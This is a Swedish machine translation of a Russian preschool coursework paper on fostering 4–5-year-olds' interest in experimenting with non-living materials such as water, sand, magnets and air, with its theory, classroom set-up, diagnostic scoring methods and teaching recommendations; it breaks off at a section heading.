Experimentera med livlösa föremål. Observation och experimenterande i naturen som grund för bildandet av miljömedvetenhet. Interaktion med specialister

Text HTML-version av publikationen

1 Nifantova Zhanna Viktorovna
ÖDRA INTRESSET FÖR BARN 4 – 5 ÅR

EXPERIMENTERA MED FÖREMÅL AV ICKE-LEVANDE NATUR
kurser Krasnoyarsk, 2015
2
INNEHÅLL
Inledning Kapitel 1. Teoretiska grunder för barns experimenterande med föremål av livlös natur 1.1. Relevansen av barns experimenterande med föremål av livlös natur 1.2. Modern forskning av forskare inom området för barns experiment med naturliga föremål 1.3. Utveckling av barns experimenterande (historisk bakgrund) 1.4. Psykologiska förmågor hos ett barn i det femte levnadsåret som bidrar till att utveckla intresset för experiment Kapitel 2. Praktisk forskning 2.1. Analys av förhållandena i förskolans läroanstaltsgrupp för att experimentera med livlösa föremål 2.2. Fastställande av experiment 2.3. Metodik för att organisera och vägleda experiment med föremål av livlös natur för barn 4-5 år. Slutsats Litteratur Tillämpningar
3
Introduktion
Förskolebarn är naturliga upptäcktsresande. Och detta bekräftas av deras nyfikenhet, ständiga önskan att experimentera och önskan att självständigt hitta en lösning på en problemsituation. Lärarens uppgift är inte att undertrycka denna aktivitet, utan tvärtom att aktivt hjälpa till. Ett barns direktkontakt med föremål eller material, elementära experiment med dem låter honom lära sig deras egenskaper, kvaliteter, förmågor, väcka nyfikenhet, en önskan att lära sig mer och berika honom med levande bilder av världen omkring honom. Under experimentella aktiviteter lär sig förskolebarnet att observera, reflektera, jämföra, svara på frågor, dra slutsatser, upprätta ett orsak-verkan-samband och följa säkerhetsregler. Ett inslag i sökaktiviteten hos en förskolebarn är barns experimenterande. Det kännetecknas av fokus på att få ny information om ett visst ämne, samt att skapa en ny produkt. Det ursprungliga resultatet är huvudmotivet för barns experimenterande. Sådana aktiviteter byggs av barnet själv, vilket är mycket viktigt för egen rörelse och personlig utveckling. Efter att ha gett honom möjligheten att självständigt lösa problemet, agerar den vuxne nu i praktiska aktiviteter som en jämställd partner. I den moderna världen är barn avlägsna från naturen; de flesta föreställer sig naturen som något mycket abstrakt och avlägset; de observerar världen omkring dem med likgiltighet och likgiltighet, utan att inse att de är en del av denna värld. I detta avseende anser jag att det är särskilt relevant att utveckla sitt kognitiva intresse, eftersom intresset är en stimulans för en försiktig inställning till naturen. Kognitivt intresse hos barn 4-5 år är instabilt, barnet förstår inte alltid problemet, vet lite om egenskaperna och egenskaperna hos föremål och föremål av livlös natur. Detta tyder på behovet av ett målinriktat pedagogiskt arbete för att utveckla kognitivt intresse hos barn. förskoleåldern. Hos förskolebarn uppstår av slentrianmässig nyfikenhet ett behov av att förstå naturen, en önskan att tränga in bortom det som syns, att lära sig det okända. Att tillfredsställa din nyfikenhet i processen med aktiv kognitiv- forskningsverksamhet, som i sin naturliga form yttrar sig i form av barns experimenterande, utvidgar barnet å ena sidan sina idéer om världen, å andra sidan börjar bemästra de grundläggande kulturella formerna av beställningsupplevelse, vilket gör det möjligt för honom att ansluta individuella idéer till en helhetsbild av världen.
4 Denna omständighet avgjorde valet av forskningsämne: "Odla intresse hos 4-5 år gamla barn för att experimentera med föremål av livlös natur." Studieobjekt: barns experimenterande med livlösa föremål. Ämne för studien: intresset hos barn i det femte levnadsåret för experiment. Mål: att bestämma innehållet i experiment med livlösa föremål som väcker barnets intresse för denna typ av aktivitet. Mål: - avslöja detaljerna i att experimentera med föremål av livlös natur i en grupp av 5-åriga barn; - att studera den psykologiska förmågan hos barn 4-5 år gamla som ger intresse för experiment; - bestämma innehållet i experiment som väcker barns intresse; - avslöja forskningsmetoder. För att uppnå målen med studien användes följande metoder: - litteraturstudie - analys av tillstånd - observation av barn: - speciellt organiserade aktiviteter- barns oberoende aktivitet - samtal med barn Resultat: innehållet i experiment som väcker barnets intresse för denna aktivitet.
5
Kapitel 1. BARNDOMENS TEORITISKA GRUND

EXPERIMENTERA MED ICKE-LEVANDE NATUROBJEKT

Relevansen av barns experiment med föremål

livlös natur
När man lägger grunden för naturvetenskapliga och miljömässiga koncept kan experiment betraktas som en metod nära idealet. Kunskaper som inte hämtas från böcker, utan förvärvas självständigt, är alltid medveten och mer hållbar. Användningen av denna metod förespråkades av sådana klassiska lärare som J. A. Komensky, I. G. Pestalitsi, J.-J. Russo, K.D. Ushinsky och många andra. Metoden att förstå omvärldens mönster och fenomen – experimentmetoden – har tagit en stark plats i utbildningssystemet. Moderna forskare (Ivanova A.I., Kulikovskaya I.E., Nikolaeva S.N., Ryzhova N.A., Poddyakov N.N., etc.) rekommenderar att man använder experimentmetoden i arbetet med förskolebarn. Barns experimenterande har en enorm utvecklingspotential. Den största fördelen med barnexperiment är att under experimentet: - får barn verkliga idéer om de olika aspekterna av föremålet som studeras, om dess relationer med andra föremål och miljön; - barnets minne berikas, hans tankeprocesser aktiveras, eftersom behovet ständigt uppstår för att utföra operationer av analys och syntes, jämförelse och klassificering, generalisering och extrapolering; - barnets tal utvecklas, eftersom det behöver redogöra för vad han såg, formulera upptäckta mönster och slutsatser; - det finns en ackumulering av en fond av mentala tekniker och operationer som betraktas som mentala färdigheter; - i processen med experimentella aktiviteter utvecklas barnets känslomässiga sfär och kreativa förmågor, arbetsförmåga bildas och hälsan stärks genom att öka den allmänna nivån av fysisk aktivitet. Experimentering innebär att aktivt söka efter en lösning på ett problem, göra antaganden, omsätta hypotesen i handling och dra tillgängliga slutsatser. De där. Barns experimenterande är ett bra medel för intellektuell utveckling av förskolebarn. Experiment är det mest framgångsrika sättet att introducera barn till en värld av levande och livlös natur omkring dem. I experimentprocessen får förskolebarnet möjlighet att tillfredsställa sin inneboende nyfikenhet, att känna sig som en vetenskapsman, forskare, upptäckare.
6
1.2.

Modern forskning av forskare inom barnområdet

experimentera med naturliga föremål
Utvecklingen av de teoretiska grunderna för metoden för barnexperimentering i förskoleinstitutioner utförs av ett kreativt team av specialister under ledning av professor, akademiker vid Academy of Creative Pedagogy och Russian Academy of Education N.N. Poddyakova. N.N. Poddyakov identifierar experiment som den huvudsakliga typen av indikativ forskningsaktivitet (sökning). Forskaren anser att experimentering påstår sig vara den ledande aktiviteten under förskolebarndomen, vars grund är kognitiv orientering; att barnets behov av nya intryck ligger till grund för uppkomsten och utvecklingen av outtömlig forskningsverksamhet som syftar till att förstå omvärlden. Ju mer varierad och intensiv sökaktiviteten är, desto mer ny information får barnet, desto snabbare och mer fullständigt utvecklas det. . Samtidigt är sökaktiviteten fundamentalt annorlunda än alla andra. Poängen är att bilden av målet som definierar denna verksamhet ännu inte har formats och präglas av osäkerhet och instabilitet. Under sökningen förtydligas och förtydligas. Detta lämnar ett speciellt avtryck på alla åtgärder som ingår i sökaktiviteten: de är extremt flexibla, mobila och har en "testande" karaktär. N.N. Poddyakov särskiljer två huvudtyper av vägledande och forskningsaktiviteter (sökning). Först. Aktiviteten i verksamheten kommer helt och hållet från barnet. Till en början prövar barnet, som det var, ointresserat olika föremål, agerar sedan som ett fullfjädrat subjekt, som självständigt konstruerar sin aktivitet: sätta ett mål, leta efter sätt och medel för att uppnå det, etc. I det här fallet tillfredsställer barnet sina behov, sina intressen, sin vilja. Andra. Aktiviteten organiseras av en vuxen, han identifierar de väsentliga delarna av situationen och lär barn en viss handlingsalgoritm. Således får barn de resultat som bestämts i förväg för dem. Den första typen av experiment är av stor betydelse för utvecklingen av kognitiv aktivitet, eftersom barn självständigt blir bekanta med de olika egenskaperna hos ett objekt som likvärdiga, utan att skilja mellan "huvud" och "icke-huvud", och inkluderar dessa objekt i olika system. Denna process kan inte bara betraktas som flexibel, den berikar också "forskning" och utvecklas kreativt. Att lösa problem av kognitiv karaktär: läraren har möjlighet att använda experiment inte bara i klassstrukturen för att bekanta barn med världen omkring dem, med naturen, utan också i
7 produktiva aktiviteter; innebär problematiska uppgifter (inte nödvändigtvis verkliga), som syftar till att skapa behov av att lösa dem experimentellt. Poddyakov baserades inte bara på observationer av barns naturliga beteende, utan studerade också experimentellt denna barnaktivitet. Han var själv en lysande experimenterare. Här är till exempel ett problem: ett barns tänkande är främst praktiskt. Vi måste förstå mekanismen för detta praktiska tänkande och ta reda på exakt hur det implementeras. För detta kom Nikolai Nikolaevich med en speciell "installation" sammansatt av barnsprutor, anslutna med ledningar och små figurer. När barnet trycker på en spruta kommer en figur att dyka ut på ett visst ställe. Han trycker på en till - ingenting händer. Den tredje - uppnår en dubbel effekt. Bebisen försöker trycka hit och dit. Och psykologen konstaterar: i vilken ordning hans tester är ordnade, hur snart kommer han att upptäcka mönstren som är inneboende i installationen, vad som kommer att följa. Genom att sammanfatta sitt eget rika faktamaterial har N.N. Poddyakov (1997) formulerade en hypotes att i barndom Den ledande aktiviteten är inte lek, som man brukar tro, utan experiment. Det finns mycket bevis för att stödja denna slutsats. 1. Spelaktivitet kräver stimulans och en viss organisation från vuxnas sida; spelet måste läras ut. I experimentaktiviteten påverkar barnet självständigt föremålen och fenomenen runt honom på olika sätt för att bättre förstå dem. Denna aktivitet är inte tilldelad ett vuxet barn, utan byggs av barnen själva. 2. I experimenterande presenteras ögonblicket för självutveckling ganska tydligt: de transformationer av ett objekt som utförs av ett barn avslöjar nya aspekter och egenskaper hos objektet för honom, och ny kunskap om objektet i sin tur gör det möjligt för honom att göra nya, mer komplexa och perfekta transformationer. Allteftersom kunskapen om föremålet som studeras ackumuleras, får barnet möjlighet att sätta nya, allt mer komplexa mål för sig själv. 3. Vissa barn gillar inte att leka; de föredrar att göra något; men deras mentala utveckling fortskrider normalt. När den berövas möjligheten att bekanta sig med omvärlden genom experiment, hämmas barnets mentala utveckling. 4. Slutligen, grundläggande bevis är det faktum att experimenterande aktivitet genomsyrar alla områden av barns liv, inklusive lek. Det senare uppstår mycket senare än experimentets aktivitet.
8
1.3.

Utveckling av barns experimenterande (historisk bakgrund)
Kända psykologer och lärare har under många år studerat experimentprocessens inflytande på barn. Forskningsaktiviteter betraktades ur olika synvinklar, men alla författare var överens om den positiva effekten av experiment på barn. Ja.A. Comenius menade att "Den huvudsakliga förutsättningen för (framgångsrikt lärande. - Bil.) är kravet på att förnuftiga föremål ska presenteras korrekt för våra sinnen så att de kan uppfattas korrekt. Jag bekräftar och upprepar högt att detta krav är grunden för allt annat.” J. Locke skrev "De (barn. - Bil.) trots allt resenärer som nyligen kommit till ett främmande land som de inte vet något om. Därför tvingar vårt samvete oss att inte vilseleda dem.” I.G. Pestalozzi: "kontemplation (sensorisk perception) av människan av naturen själv är den enda sanna grunden för lärande, eftersom den (kontemplation) är den väsentliga grunden för mänsklig kunskap. Allt som följer är helt enkelt resultatet, eller abstraktionen, av denna sinnesuppfattning." MM. Manaseina: ansåg att "... när man uppfostrar barn från 1 till 8 år bör man alltid komma ihåg att de först och främst ska, så fullt och bättre som möjligt, behärska världen omkring dem. Följaktligen behöver de inte sagor, utan fakta och fakta, observationer och experiment.” FÖRBI. Ephrusi ansåg att "Kampen mot "intellektualism" och "rationalism" inom skolpedagogiken går in i en ny fas på basis av modern information om subjektiva visuella bilders roll i barns uppfattningar, å ena sidan, och å ena sidan. å andra sidan, i samband med data om utvecklingen av logiskt tänkande " V. Rottenberg: ”...först och främst bör skolundervisningen byggas med hänsyn till rådande fantasifullt tänkande. Det vill säga att det krävs utveckling av nya undervisningsmetoder, baserat på maximal användning av figurativ typ av informationsbehandling. Det finns inte många sådana metoder än, men de finns. Grunden för sådana metoder är inte studiet av abstrakta fysikaliska formler följt av experimentell demonstration, utan tvärtom upprättandet av ett vackert och spännande experiment, på grundval av vilket barn själva härleder den fysiska lagen." A.V. Zaporozhets: "I form av visuella bilder som utvecklas hos ett barn, återspeglas inte bara det yttre utseendet av fenomen, utan också de enklaste kausala, genetiska och funktionella beroenden mellan dem. Som ett resultat börjar dessa typer av sensorisk kunskap om verkligheten ta form i den mest perfekta formen, som är av ovärderlig betydelse inte bara för nuet utan också för framtiden, som kommer att spela viktig roll i en vuxens verksamhet."
9 N.N. Poddyakov: "Det grundläggande faktum är att experimenterandet genomsyrar alla sfärer av barns liv, alla barns aktiviteter, inklusive lek. Det senare uppstår mycket senare än experimentets aktivitet." För att öka intresset uppmanas läraren att ställa frågor som uppmuntrar barn att jämföra egenskaperna hos material eller föremål (lera och plasticin), upprätta orsak-och-verkan-samband (snö och is), göra antaganden och dra slutsatser; diskuterar gemensamt antaganden och hjälper till att generalisera erhållna resultat. Den dialogiska principen i sök- och forskningsverksamhet har stor betydelse för utvecklingen av kognitiv aktivitet. I de fall båda processerna genomförs som monologer, vilket A.M. anser. Matyushkin, det finns ingen verklig utveckling av kognitiv aktivitet och bildandet av högre former av tänkande. Detta bevisas av forskningen från N.P. Usova, N.N. Poddyakova, L.A. Paramonova, O.L. Knyazeva: utvecklingen av sökaktivitet hos förskolebarn sker i processen att systematiskt lösa problem av problematisk karaktär som kräver omvandling av gamla metoder eller uppfinning av nya. Nyheten med dessa metoder, som noterats av L.A. Paramonov, kännetecknas av subjektivitet, d.v.s. specifika barns aktiviteter.
1.4.Psykologiska förmågor hos ett barn i det femte levnadsåret

främja intresset för experiment
Utvecklingen av den kognitiva sfären för förskolebarn kommer att bli framgångsrik om utbildningsprocessen är baserad på barns önskan och förmåga att experimentera som huvudkomponenten i den ledande aktiviteten i ålder - lek (enligt D.B. Elkonin). Förskolebarn i det femte levnadsåret skiljer sig från småbarn i fysiska och mentala förmågor: de är mer säkra på alla manifestationer, har initiala självständighetsförmåga, har mer stabil uppmärksamhet, mer utvecklad uppfattning och tänkande, bättre förstår och reproducerar en vuxens tal, och är kapabla till de första frivilliga ansträngningarna. Vid 4-5 års ålder utvecklar barn vissa idéer om olika fenomen: rörelse, vatten, värme, kyla, etc. Detta är inte förvånande. TV, datorer, tekniska spel och leksaker är källorna till dessa idéer. Och om vuxna inte får uppgiften att förklara fenomen och ge dem en tolkning, kan barns begrepp om dem inte vara tillräckligt korrekta och korrekta. Dessutom är de mycket ytliga och ofta falska. Utan att förklara för ett barn detta eller det fenomen som han stöter på eller lär sig om, missar vuxna ett utmärkt tillfälle att utveckla en förskolebarns mentala förmåga. När allt kommer omkring, "alla naturliga
Fenomen 10 är en utmärkt övning för barns logik. Här lär sig barnet visuellt och praktiskt logiska begrepp: orsaker, konsekvenser, namn, slutsatser och slutsatser” (K.D. Ushinsky). Baserat på verk av huslärarna G.M. Lyamina, A.P. Usova, E.A. Panko, vi kom till slutsatsen att det är nödvändigt att inkludera förskolebarn i meningsfulla aktiviteter, under vilka de kan upptäcka fler och fler nya egenskaper hos föremål. Experiment, såväl som lek, är de naturligaste sätten att lära sig i förskoleåldern. Studerar verk av L.S. Vygotsky och N.P. Poddyakov, blev det tydligt att det inte finns några motsättningar mellan de två typerna: lek och experiment. Leken är en typ av aktivitet, vars motiv inte ligger i resultaten, utan i själva processen, och genom att experimentera med föremål poserar barnet specifika mål och uppnår konkreta resultat. Det finns ingen anledning att skilja mellan lek och barns experimenterande, de kompletterar varandra. Vi ser ofta barn som kastar föremål i vattnet, river papper eller tar isär leksaker. Uppenbarligen är deras uppgift inte att bryta eller skräpa, utan att förstå egenskaperna hos olika material, trä, vatten, sand, metaller, att förstå strukturen på föremål, principerna för deras funktion. Vanligtvis är sådan aktivitet spontan och inträffar när ett föremål har tilldragit sig barnets uppmärksamhet. En vuxen måste organisera experimenterandet på ett sådant sätt att det driver barnet till vissa logiska slutsatser, lär honom att ställa meningsfulla frågor och utveckla kognitiv aktivitet. Tack vare ackumuleringen av personlig erfarenhet blir barnets handlingar mer fokuserade och medvetna. I processen att experimentera i klassrummet har barn möjlighet att tillfredsställa sin inneboende nyfikenhet, att känna sig som en vetenskapsman, forskare och upptäckare. Samtidigt är pedagogen inte en lärare-mentor, utan en jämställd partner, en medbrottsling i verksamheten. Experimentering stimulerar sökandet efter nya handlingar och främjar mod och flexibilitet i tänkandet. Oberoende experimenterande ger barnet möjlighet att prova olika handlingsmetoder, samtidigt som man tar bort rädslan för att göra misstag. Vid den här åldern utförs experiment först för att identifiera orsakerna till enskilda fenomen, till exempel: "Varför blev den här stenen varmare?" - "För att det är svart"; "Den här näsduken torkade snabbare. Varför?" - "För att vi hängde den på batteriet." Barn utvecklar kognitivt intresse: de tycker om att delta i
11 utföra experiment och spel med vatten, snö, is, upprepa dem självständigt hemma. Vid inspelning av observationer används oftast färdiga formulär, men i slutet av året börjar de gradvis använda teckningar som vuxna gör framför barn, såväl som de första schematiska teckningarna av de barn vars tekniska färdigheter är ganska bra tagit fram. De sista stadierna av experiment genomgår också vissa komplikationer: när de ger en verbal redogörelse för vad de såg, är barn inte begränsade till enskilda fraser som uttalas som svar på lärarens fråga, utan uttalar flera meningar som, även om de inte är en detaljerad berättelse, redan närmar sig det i volym. Läraren lär med sina ledande frågor att lyfta fram det viktigaste, jämföra två objekt och hitta skillnaden mellan dem - än så länge bara skillnaden . I processen med forskningsaktiviteter får barnet erfarenhet: 1 Fysiskt, lära sig att kontrollera sin kropp och vissa organ. 2 Naturhistoria för att bekanta dig med den verkliga världen omkring oss, med egenskaperna hos objekt och orsak-och-verkan-relationer som verkar i världen. 3 Social kom ihåg de individuella egenskaperna hos varje person (kamrat och vuxen). 4 Kognitiv - träna tankeprocesser, bemästra en mängd olika mentala operationer. 5 Språkligt engagera sig i ordskapande, diskutera resultaten av experimentet, spela ordspel, det vill säga experimentera med ord. 6 Vill gärna komma ihåg hur han själv kan påverka andra människor. 7 Personligt: erkänn dina personliga förmågor. 8 Beteendemodellera ditt beteende i olika situationer. På rätt organisation arbete utvecklar barn i åldern 4-5 år en stabil vana att experimentera. Initiativet att genomföra experiment går över i händerna på barn, och en vuxens roll för att upprätthålla intresset för experiment kan formuleras på följande sätt: läraren är en intelligent vän och rådgivare
12 I experimentprocessen utvecklar barn kognitiva intressen; forskningsfärdigheter utvecklas; en ansvarsfull och aktiv inställning till naturen utvecklas. Det är dessa utvecklingskriterier som har lagts till grund för att bedöma kvaliteten på miljöutbildning, och det är viktigt att följa deras hållbara utveckling. Den ledande metoden för att samla in information är observation av barns beteende och aktiviteter Vardagsliv och i klassrummet, samt examination med hjälp av ett antal tekniker, till exempel samtal, speluppgifter m.m. Problemet med kognitivt intresse har studerats brett inom psykologi av B. G. Ananyev, M. F. Belyaev, L. I. Bozhovich, L. A. Gordon, S. L. Rubinstein och i pedagogisk litteratur av G. I. Shchukina, N. R. Morozova. Intresse, som en komplex och mycket betydelsefull formation för en person, har många tolkningar i sina psykologiska definitioner; det anses som: - selektiv fokusering av en persons uppmärksamhet (N. F. Dobrynin, T. Ribot); - manifestation av hans mentala och känslomässiga aktivitet (S. L. Rubinstein); - en specifik attityd hos en person till ett föremål, orsakad av medvetenheten om dess vitala betydelse och känslomässiga dragningskraft (A. G. Kovalev). N. R. Morozova karakteriserar intresse med tre obligatoriska poäng: 1) positiv känsla i förhållande till aktivitet; 2) närvaron av ett direkt motiv som kommer från själva aktiviteten, det vill säga själva aktiviteten attraherar och uppmuntrar honom att engagera sig, oavsett andra motiv; 3) närvaron av den kognitiva sidan av denna känsla, dvs. av det vi kallar glädjen att lära och lära. Intresset bildas och utvecklas i aktivitet, och det påverkas inte av enskilda komponenter av aktivitet, utan av hela dess objektiva-subjektiva väsen (karaktär, process, resultat). Intresse är en "legering" av många mentala processer som bildar en speciell ton av aktivitet, speciella personlighetstillstånd (glädje från inlärningsprocessen, önskan att fördjupa sig i kunskap om ett ämne av intresse, in i kognitiv aktivitet, att uppleva misslyckanden och viljemässigt strävanden att övervinna dem). Det viktigaste området för det allmänna fenomenet av intresse är kognitivt intresse. Dess ämne är människans mest betydelsefulla egenskap: att känna till världen omkring henne inte bara för biologisk och social orientering i verkligheten, utan i människans mest väsentliga förhållande till världen - i önskan att tränga in i dess mångfald, att reflektera i
13 medvetenhet om väsentliga aspekter, orsak och verkan relationer, mönster, inkonsekvens. Kognitivt intresse, som ingår i kognitiv aktivitet, är nära förknippat med bildandet av olika personliga relationer: selektiv inställning till ett visst vetenskapsområde, kognitiv aktivitet, deltagande i dem, kommunikation med deltagare i kunskap. Det är på denna grund – kunskap om den objektiva världen och inställning till den, vetenskapliga sanningar – som en världsbild och världsbild formas.
14
Kapitel II. PRAKTISK FORSKNING

2.1. Analys av förutsättningar i förskolegruppen för att experimentera med

föremål av livlös natur
I dagis en utvecklingsmiljö som främjar barns kognitiva utveckling bör representeras av "vetenskapscentra" i alla åldersgrupper, enligt N. Kondratyeva och L. Manevtsova. De viktigaste metoderna för att arbeta med barn i dessa centra inkluderar: experimentella aktiviteter, lösa problemsituationer, under vilka förmågan att analysera, isolera ett problem, söka efter dess lösning, dra slutsatser och argumentera för dem bildas. Ett laboratorium och ett växthus kan skapas, utrustat med allt som behövs för att utveckla barns kognitiva intresse för omvärlden: 1. assistentanordningar (förstoringsglas, skalor (vågar), timglas, kompass, magneter, mikroskop); 2. en mängd olika kärl av olika material (plast, glas, metall) av olika volymer och former; 3. Naturmaterial (stenar, lera, sand, snäckor, fågelfjädrar, kottar, sågsnitt och löv av träd, mossa, frön etc.). 4. Återvunnet material (tråd, läderbitar, päls, tyg, plast, trä, kork, etc.). 5. Tekniskt material (muttrar, gem, bultar, spikar, kuggar, skruvar, konstruktionsdelar etc.). 6. olika typer av papper: vanligt papper, kartong, sandpapper, kopieringspapper, etc.; 7. färgämnen: mat och icke-livsmedel (gouache, akvarell, etc.); 8. Medicinskt material (pipetter, kolvar, träpinnar, sprutor (utan nålar), måttskedar, gummilökar, etc.). 9. annat material (speglar, Ballonger, smör, mjöl, salt, socker, färgade och genomskinliga glas, nagelfil, sil, ljus, etc.). Men innan du skapar ett forskningslaboratorium och fyller det med föremål från utvecklingsmiljön, är det nödvändigt att identifiera intresseområdet för experimentella aktiviteter i barnens preferenser, d.v.s. ta reda på vilka föremål barnet tycker om att arbeta med och vad det föredrar att göra med det. I 5:e årsklassen skapade jag en experimenthörna, som jag gradvis fyller på med nytt material, för att upprätthålla barnens intresse, så att de kan reproducera upplevelsen igen och bekräfta sina idéer. Jag sammanställde ett kartotek över barns upplevelser med föremål av "livlös natur" i följande block:  "Vattnets fantastiska egenskaper";  "Luft är osynlig";  "His Majestät Eld";  "Var kommer ljud ifrån?";
15  "Miakel under dina fötter";  "Magic Magnet" Experimentarbete utförs i systemet, genom: - särskilt organiserade aktiviteter; - gemensamma aktiviteter. - oberoende. Barn älskar att experimentera med en magnet, de undersöker gärna sand och lera och lär sig deras egenskaper; lär dig vattnets hemligheter; ta reda på funktionerna i samspelet mellan vatten, is, snö; studera egenskaperna hos en magnet. Jag bygger relationer med barn utifrån partnerskap. Barn lär sig att sätta mål, lösa problem och dra slutsatser. De upplever stor glädje, överraskning och till och med glädje över sina små och stora "upptäckter". Detta hörn innehåller material som barnet självständigt kan studera (lek, experimentera). Materialets sammansättning varierar beroende på ämnet för miljöstudier. Sålunda, under klasser på blocket "Sand, lera, stenar", får barnet möjlighet att självständigt experimentera, leka med dessa material, undersöka dem med ett förstoringsglas, upprepa experimenten som han utför under ledning av en lärare i en miljöklass, och bygga hus och städer av stenar mm. Sålunda samlar läraren, tillsammans med föräldrarna, en mängd olika naturmaterial, som sedan placeras i tillräcklig mängd i experimenthörnan. Organisationen av ett sådant hörn gör det möjligt för varje barn att studera självständigt om varje ämne, eftersom tiden för kollektiva klasser i miljörummet är begränsad, och många förskolebarn uttrycker en önskan om att fortsätta experimentellt arbete. Övning har visat att experimentell aktivitet, tillsammans med lek, är den ledande aktiviteten hos ett förskolebarn.
2.2. Fastställande experiment
Syftet med studien är att fastställa effektiviteten av att använda barns experimenterande som en metod för att utveckla kognitivt intresse när man blir bekant med den livlösa naturen. 10 barn i mellanstadiet deltog i studien.
Studien bestod av flera steg:
Steg 1: studera platsen för barns experiment i barns preferenser; Steg 2: studera förutsättningarna för att organisera experimentella aktiviteter för barn i en grupp.
I det första skedet
Platsen för barns experimenterande i barns preferenser och egenskaperna hos denna aktivitet hos förskolebarn studerades. För detta ändamål användes metoden ”Choice of Activity” av L.N. Prokhorova,
16 som syftar till att studera motivationen för barns experimenterande.
Metodik "Val av aktivitet" (Prokhorov L.N.)
Barnet visades bilder som föreställer barn som är engagerade i olika typer av aktiviteter: 1 – lek; 2 – läsa böcker; 3 – visuell; 4 - barns experiment; 5 – arbeta i ett hörn av naturen; 6 – design. Sedan ombads barnet att välja en situation som han skulle vilja befinna sig i. Tre val gjordes i följd. Alla tre valen antecknades i protokollet, 3 poäng räknades för förstahandsvalet, 2 poäng för andra, 1 poäng för tredje. Resultaten presenteras i tabell 1 (bilaga 1). Resultaten av studien visade att experiment endast stod för 20 %. För att utveckla barns experimenterande i gruppen ändrades platsen för experimentcentret. Förutsättningar har skapats för oberoende experiment. En serie experiment med livlösa föremål valdes ut. Barnens upplevelse berikades, barn började praktiskt taget behärska egenskaperna och kvaliteterna hos olika material, barn deltog aktivt i studien och omvandlingen av olika problemsituationer och blev bekanta med sätt att registrera de erhållna resultaten. Under gemensamma experiment med barn sattes ett mål, stadier i arbetet bestämdes tillsammans med dem och slutsatser drogs. Under aktiviteten lärde hon barnen att identifiera en sekvens av handlingar och reflektera dem i tal när de svarade på frågor som: Vad gjorde vi? Vad fick vi? Varför? Barnens förslag spelades in och hon hjälpte dem att schematiskt återspegla experimentets förlopp och resultat. Experimentets antaganden och resultat jämfördes och slutsatser drogs utifrån vägledande frågor: Vad tänkte du? Vad hände? Varför? Hon lärde barnen att hitta likheter och skillnader mellan föremål. I slutet av experimentserien diskuterade vi med barnen vilka av dem som hade lärt sig något nytt och skissade upp ett diagram över det allmänna experimentet. I experimentprocessen var barn övertygade om behovet av att acceptera och sätta ett mål, analysera ett objekt eller fenomen, lyfta fram viktiga egenskaper och aspekter, jämföra olika fakta, göra antaganden och komma till en slutsats, registrera stadier av åtgärder och resultat grafiskt . Barn deltog aktivt i de föreslagna experimenten och agerade villigt självständigt med föremål och identifierade deras egenskaper. De visade en önskan att experimentera hemma: att studera olika hushållsartiklar och deras effekter, vilket förtydligades i samtal med föräldrar och barn. Några barn, tillsammans med sina föräldrar, skissade på framsteg och resultat av experiment som gjordes hemma i sina anteckningsböcker. Sedan diskuterade vi deras arbete med alla barn.
17 I processen att utveckla kognitivt intresse hos barn i mellanstadiet, som genomfördes från 1 september 2009 till 1 mars 2010, med hjälp av experiment i undervisningen, såg jag att de initiala diagnostiska resultaten hade förändrats. När diagnostiken upprepades erbjöds barnen liknande uppgifter. Enligt resultaten som presenteras i tabell 2 (bilaga 2) såg jag alltså att barn ändrade sina preferenser i valet av aktiviteter mot experiment med 50 % (2,5 gånger). Detta tyder på att denna aktivitet var mycket attraktiv för barn. Kanske beror detta på att lärare började ägna mer uppmärksamhet åt barns experimenterande. Experiment som en aktivitet har blivit en av de mest favoriter för barn.
På

andra

skede
Studien undersökte förutsättningarna för att organisera barns experimentella aktiviteter i grupp. Till detta använde jag
metod av G. P. Tugusheva, A. E. Chistyakova.
Denna teknik utforskar området av intresse för experimentella aktiviteter i barnens preferenser. Barnet erbjöds föremål från experimenthörnan: 1 - assistentanordningar (förstoringsglas, skalor, timglas, kompass, magneter, mikroskop); 2 - olika kärl gjorda av olika material (plast, glas, metall) av olika volymer och former; 3 - naturligt material (stenar, lera, sand, snäckor, fågelfjädrar, kottar, sågsnitt och trädblad, mossa, frön etc.); 4 - återvunnet material (tråd, läderbitar, päls, tyg, plast, trä, kork, etc.); 5 - tekniska material (muttrar, gem, bultar, spikar, kuggar, skruvar, konstruktionsdelar, etc.); 6 - olika typer av papper: vanligt, kartong, sandpapper, kopieringspapper, etc.; 7 - färgämnen: mat och icke-mat (gouache, akvarell, etc.); 8 - medicinskt material (pipetter, kolvar, träpinnar, sprutor (utan nålar), mätskedar, gummilökar, etc.); 9 - andra material (speglar, ballonger, smör, mjöl, salt, socker, färgat och genomskinligt glas, nagelfil, sil, ljus, etc.). Barnet ombads välja: "Vad gillar du bäst?" Varför?", "Vad ska du göra med den?" För det första valet - 9 poäng, för det andra - 8 poäng, för det tredje valet - 7 poäng, för det fjärde - 6 poäng, för det femte - 5 poäng, för det sjätte - 4 poäng, för det sjunde - 3 poäng , för åttonde - 2 poäng, för nionde - 1 poäng. Alla resultat presenterades i tabell 3 (bilaga 3). Baserat på resultaten av studien är det möjligt att bestämma intresseområdet för barns experimentella aktiviteter. Alla intressen i processen att utföra experimentella aktiviteter visade sig vara relaterade till valet av ett eller annat material för att utföra aktiviteten
18 experiment och sätt att agera med dem. I detta avseende identifierades 3 kategorier av experimentmaterial enligt graden av elevernas kognitiva intresse för dem och aktiviteten att experimentera med dem: 1 grupp av material (arithmetiskt medelvärde från 6,3 till 6,9). Naturmaterial, färgämnen: mat och icke-livsmedel, medicinska material. Det visade sig att barn föredrar att experimentera mest med naturmaterial(stenar, lera, sand, snäckor, fågelfjädrar, kottar, sågsnitt och trädlöv, mossa etc.). Grupp 2-material (arithmetiskt medelvärde från 4,6 till 5,2). Assistentapparater, tekniskt material, annat material. 3 grupp av material (arithmetiskt medelvärde från 3,1 till 3,3). En mängd olika kärl tillverkade av olika material, återvunnet material, olika typer av papper.
2.3. Metodik för att organisera och styra experiment med

föremål av livlös natur för barn 4-5 år gamla.
Rekommendationer för att organisera klasser. 1. Det är nödvändigt att visa barn attraktionskraften hos en tydlig start på klasserna, och inte sträva efter att se till att det tar mindre och mindre tid. 2. Starta lektionen energiskt. Lektionen bör hållas på ett sådant sätt att varje barn är upptagen från början till slut. 3. Det är nödvändigt att fängsla barn med intressant innehåll av materialet och mental spänning. 4. Låt barnet känna sig delaktigt i upptäckterna. Beroende på arten av observationer och experiment varierar kraven för deras genomförande något.
Slumpmässiga observationer och experiment.
